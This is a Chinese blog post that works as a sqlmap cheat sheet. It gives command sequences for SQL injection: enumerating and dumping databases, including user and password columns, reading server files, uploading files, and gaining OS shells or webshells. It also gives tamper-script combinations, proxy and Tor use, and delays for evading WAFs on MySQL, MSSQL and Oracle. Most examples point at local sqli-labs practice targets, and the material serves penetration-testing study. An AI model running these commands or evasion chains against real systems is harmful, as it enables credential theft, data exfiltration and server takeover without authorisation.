附上一个别人总结的:https://www.cnblogs.com/ichunqiu/p/5805108.html

一套基础的sqlmap语句:

  1. python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db
  2. python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
  3. python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
  4. python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dump

用到的参数

  1. --technique sqlmap中的注入技术
  2. --batch 默认选择,自动运行
  3. --current-db 当前数据库
  4. --current-user 当前数据库用户名
  5. --is-dba 查看当前用户是否为管理员权限
  6. --data post型注入时的post数据
  7. --threads 最大并发线程(不要超过10
  8. -r http请求头的头部文件.txt
    --cookie cookie注入
  9. --level 探测等级,3最好,5最全面
  10. --sql-shell 运行自定义sql语句
  11. --os-shell 运行操作系统命令
  12. --file-read 从数据库中读取文件
  13. --file-write "本机路径" --file-dest "服务器路径" 上传文件
  14. --tamper 跟自带绕过脚本
    --time-sec=60 延时,用来绕waf
  1. WAF
    --identify-waf 检测是否有waf
  2. --random-agent -v 使用任意浏览器进行绕过
  3. --hpp -v 使用HTTP 参数污染进行绕过
  4. --proxy=211.211.211.211: --proxy-cred=: 使用代理
  5. --flush-session 清空会话,重构注入
  6. --hex 进行字符码转换
  7. --mobile 对移动端的服务器进行注入
  8. --tor 匿名注入
  9. --delay=3.5 --time-sec= 使用长的延时来避免触发WAF的机制

0x01 --technique参数

—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入

  1. B:Boolean-based-blind (布尔型盲注)
  2. E:Error-based (报错型注入)
  3. U:Union query-based (联合注入)
  4. S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
  5. T:Time-based blind (基于时间延迟注入)

例如sqlmap语句:

  1. python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch

0x02 --data参数和--threads参数

post注入时,post的数据就放在--data后,--threads加快跑的速率,不要超过10

  1. python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
  2. --technique UES
  3. --dbms mysql --dbs --threads 8

0x03 -r参数

将HTTP请求包的内容放在一个txt文件里面,cookie可以不用放,然后-r跟上txt文件的路径,让sqlmap自动跑,这里要注意将可能出现sql注入的请求参数的值后面要跟上”*“符号

  1. python sqlmap.py -r 1.txt --dbs --threads 8 --technique BTES
  2. 或者
  3. python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-18/" --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST

如果知道sql注入的确切位置,那么这里可以直接使用第二种方式注入

0x04 --cookie参数

  1. web应用基于cookie的身份验证,对于post请求,可以指定cookiecookie注入时直接使用这个参数
  1. sqlmap -u "url" --cookie="..." --level 3 –-dbs

0x05 --os-shell 参数

知道数据库为管理员权限,并且知道网址根目录,那么使用这一个参数,可以上传webshell和反弹shell。

用--is-dba查看是否为管理员权限

0x06 --file-read参数

知道网站的一些文件的目录,或者网站服务器里面的固定文件的目录,那么可以使用这个参数来读取文件内容:

  1. python sqlmap.py -u "http://127.0.0.1/?id=1" --file-read "C:/windows/win.ini"

0x07 --file-write  --file-dest参数

  1. --file-write "本机选择上传文件的路径" --file-dest "服务器根目录路径"
    知道一个站点存在sql注入且知道网站根目录的前提下可使用此参数

0x08 --tamper 参数

--tamper参数专门跟一些脚本的,比如说sqlmap自带的一些绕过的脚本

  1. python sqlmap.py xxxx --tamper "脚本名"

常用的绕过脚本:

  1. apostrophemask.py utf8代替引号
  2. equaltolike.py 对等号的绕过,用like代替等号
  3. greatest.py MySQL中绕过过滤’>’
  4. space2hash.py 绕过空格的过滤
  5. halfversionedmorekeywords.py mysql数据库绕过防火墙
  6. ase64encode.py 将语句用base64编码
  7. between.py 替换>号
  8. space2plus.py 用+替换空格
  9. chardoubleencode.py url编码
  10. randomcase.py 随机大小写
  11. randomcomments.py /**/分割sql关键字

0x09 tamper脚本参数组合策略绕过WAF

针对mysql数据库:

  1. --random-agent -v -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py
  2.  
  3. --random-agent --hpp --tamper=space2mysqldash.p,versionedmorekeywords.py
  4.  
  5. -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py

针对mssql

  1. -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py
  2.  
  3. --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py
  4.  
  5. --delay=3.5 --time-sec= --tamper=space2mssqlblank.py,securesphere.py
  6.  
  7. --delay=3.5 --tamper=unionalltounion.py,base64encode.p

针对oracle:

  1. --delay= --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py
  2.  
  3. --delay=--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/ Firefox/36.0 --hpp --tamper=charunicodeencode.py,chardoubleencode.py

sqlmap注入基本教程的更多相关文章

  1. SQLMAP注入教程-11种常见SQLMAP使用方法详解

    sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...

  2. sqlmap注入教程

    1.SQLMAP用于Access数据库注入 (1)猜解是否能注入win: python sqlmap.py -u "http://www.stronkin.com/en/CompHonorB ...

  3. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  4. sqlmap注入小结

    sqlmap注入时: 1.判断可注入的参数 2.判断可以用那种SQL注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些数据 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可 ...

  5. sqlmap注入入门

    sqlmap注入入门 sqlmap的用法: ​ linux中: sqlmap [选项] ​ Windows中: python sqlmap [选项] 常用的参数及含义: 目标 ​ -d DIRECT ...

  6. sqlmap 注入的方法及技巧

    sqlmap 注入的方法及技巧 当给 sqlmap 这么一个 url 的时候,它会: 1.判断可注入的参数 2.判断可以用那种 SQL 注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些 ...

  7. Sqlmap注入工具

    Sqlmap注入工具 http://sqlmap.org/ Sqlmap是国外的一个免费的注入工具,基于python开发,支持现在几乎所有的数据库,支持get.post.cookie注入,可以添加co ...

  8. 在windows系统和kali中通过sqlmap注入

    第1章 在windows系统中通过sqlmap注入 1.1 环境搭建 Sqlmap是目前功能最强大,使用最为广泛的注入类工具,是一个开源软件,被集成于kaliLinux, 由于sqlmap是基于Pyt ...

  9. sql-labs 18-20(sqlmap注入)

    这三题主要是关于HTTP头部的注入 常见的HTTP注入点产生位置为 [Referer].[X-Forwarded-For].[Cookie].[X-Real-IP].[Accept-Language] ...

随机推荐

  1. sqlserver附加数据库时出错。有关详细信息,请单击“消息”列中的超链接

    在SqlServer中附加数据库时,有时会发生下面的错误. 解决 :可能的问题是放置附加数据库的文件夹的权限问题.如下解决.点击放置附加数据库的文件夹-->右键-->属性 权限要设置为完全 ...

  2. Markdown编写接口文档模版

    接口名称 1) 请求地址 https://apis.cnblogs.com/user/info?a=xx&b=xx 2) 调用方式:HTTP GET 3) 接口描述: 接口描述详情 4) 请求 ...

  3. python3 jenkins api操作

    一.安装依赖包 pip install python-jenkins 二.常用操作 0.调用jenkins(以下用的server都是这里的环境) import jenkins server = jen ...

  4. 交换机 路由器 防火墙asa 安全访问、配置 方式

    这里交换机 路由器 暂时统称为  网络设备 我们一般管理网络设备采用的几种方法 一般来说,可以用5种方式来设置路由器: 1. Console口接终端或运行终端仿真软件的微机(第一次配置要使用此方式) ...

  5. 向C++之父Bjarne Stroustrup致敬

    2013-04-25 21:30 (分类:社会人生) 非常好的文章 C ++ 的 背 影                                     ——C++之父Bjarne Strou ...

  6. ab使用详解—如何使用apache性能测试工具进行压力测试

    作为后端工程师,除了实现业务需求之外,需要考虑的就是自己写的服务,在大并发下是否能正常运行了.但是,在一般开发情况下,没那么多大并发情况让你测试,那该怎么办呢? 这时候,我们就可以用到apache的压 ...

  7. vue项目中出现cannot get/的解决办法

    webpack-dev-server没有配置网站根目录造成找不到可以显示的首页 配置根目录即可:   devServer: { contentBase:path.resolve(__dirname,& ...

  8. php面试笔记(7)-php基础知识-文件及目录处理考点

    本文是根据慕课网Jason老师的课程进行的PHP面试知识点总结和升华,如有侵权请联系我进行删除,email:guoyugygy@163.com 在面试中,考官往往喜欢基础扎实的面试者,而文件及目录处理 ...

  9. phpstrom laravel代码自动提示

    1.安装composer包 composer require barryvdh/laravel-ide-helper dev-master 2.目录:\config\app.php 的'provide ...

  10. 网易MuMu模拟器不显示Menu(菜单)键的解决办法

    解决方法一: 前提:需要一个键盘 步骤: 1.直接按下键盘上的Menu键. 解决方法二: 前提:需要Root之后的文件浏览器 步骤: 1.在文件管理器中打开 /System 文件夹: 2.复制 bui ...